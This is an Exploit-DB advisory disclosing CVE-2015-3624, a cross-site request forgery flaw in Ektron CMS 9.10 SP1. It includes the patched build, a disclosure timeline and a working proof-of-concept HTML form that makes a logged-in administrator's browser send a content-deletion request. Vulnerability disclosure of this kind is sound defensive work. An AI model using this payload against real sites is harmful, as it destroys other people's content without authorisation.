Ektron CMS 9.10 SP1 (Build 9.1.0.184.1.114) - Cross-Site Request Forgery

EDB-ID:

37296




Platform:

PHP

Date:

2015-06-16


# Vulnerability type: Cross-site Request Forgery 
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.114)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.120)
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong

# PROOF OF CONCEPT (CSRF)

Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10
SP1 before build 9.1.0.184.1.120 allows remote attackers to hijack the authentication
of content administrators for requests that could lead to the deletion of content and
assets.

<html>
  <body>
    <form action="http://127.0.0.1/Test/WorkArea/DmsMenu/menuActions/MenuActions.aspx">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="contentId" value="4210" />
      <input type="hidden" name="LangType" value="1033" />
      <input type="hidden" name="folderId" value="561" />
      <input type="hidden" name="redirectBack" value="true" />
      <input type="hidden" name="menuType" value="Workarea" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# TIMELINE
– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure